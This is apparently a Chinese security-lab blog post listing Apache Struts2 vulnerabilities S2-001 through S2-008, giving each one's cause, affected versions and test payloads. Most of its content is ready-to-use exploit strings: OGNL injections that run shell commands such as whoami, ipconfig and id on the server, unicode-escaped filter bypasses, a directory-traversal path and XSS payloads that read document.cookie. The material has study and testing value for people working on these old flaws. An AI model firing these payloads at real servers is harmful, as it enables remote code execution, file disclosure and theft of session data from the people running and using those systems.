Frieza

MS08067安全实验室

  博客园  :: 首页  :: 新随笔  :: 联系 ::  :: 管理

S2-001(远程代码利用表单验证错误)

原理

用户提交表单数据并且验证失败时, 后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析, 然后重新填充到对应的表单数据中. 如注册或登录页面, 提交失败后一般会默认返回之前提交的数据, 由于后端使用%{value}对提交的数据执行了一次OGNL表达式解析, 所以可以直接构造Payload进行命令执行

影响版本

Struts 2.0.0 - 2.0.8

漏洞测试

%{'123'}    //返回对应参数值
%{'1+1'}    //返回运算结果

测试POC

// 获取Web路径
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

// 命令执行
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

S2-002(跨站脚本漏洞)

原理

<s:url>标签的includeParams属性设置为all的情况下,对url参数名未做过滤,导致xss漏洞

影响版本

Struts 2.0.0 - Struts 2.0.11

测试POC

http://localhost:8080/index.action?"><script>alert(1)</script><"

S2-003(XWork ParameterInterceptors旁路允许OGNL语句执行)

原理

Struts会将HTTP的每个参数名解析为ognl语句执行(可以理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制,从而能够操纵服务器端上下文对象。

影响版本

Struts 2.0.0 - Struts 2.1.8.1

测试POC

// 回显ipconfig
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

S2-004(目录遍历漏洞)

原理

Struts2 Dispatcher Logic by Design允许为请求URI的Web应用程序类路径中的某些静态资源提供服务,请求URI的上下文相关路径以“/struts/”开头。

影响版本

Struts 2.0.0 - 2.0.11.2

Struts 2.1.0 - 2.1.2

漏洞测试

// 利用方法
/struts/..%252f..%252f..%252f..%252f 改变目录可以看到各目录下的文件列表(..%252f为../二次url编码得到的)

http://127.0.0.1/struts/..%252f

S2-005(XWork ParameterInterceptors旁路允许远程命令执行)

原理

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

简单的说s2-005就是绕过s2-003的补丁

影响版本

Struts 2.0.0-2.1.8.1

漏洞测试

//无回显
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

S2-006(XWork中的多个跨站点脚本(XSS)生成错误页面)

原理

默认情况下,XWork 不会在自动生成的错误页中转义操作的名称,从而允许成功的 XSS 攻击。启用动态方法调用 (DMI) 时,将基于请求参数动态生成操作名称。这允许调用不存在的页面和方法,以生成带注入代码的错误页

影响版本

Struts 2.0.0 - Struts 2.2.1.1

漏洞测试

http://localhost:8080/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value

S2-007(当出现转换错误时,用户输入被评估为OGNL表达式)

原理

用户输入,当传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞

影响版本

Struts 2.0.0 - 2.2.3

漏洞测试

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

S2-008(Struts2中的多个关键漏洞)

原理

利用对传入参数没有严格限制,导致多个地方可以执行恶意代码

影响版本

Struts 2.1.0 – 2.3.1

漏洞测试

devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id
posted on 2021-03-30 14:05  Frieza_021  阅读(215)  评论(0编辑  收藏  举报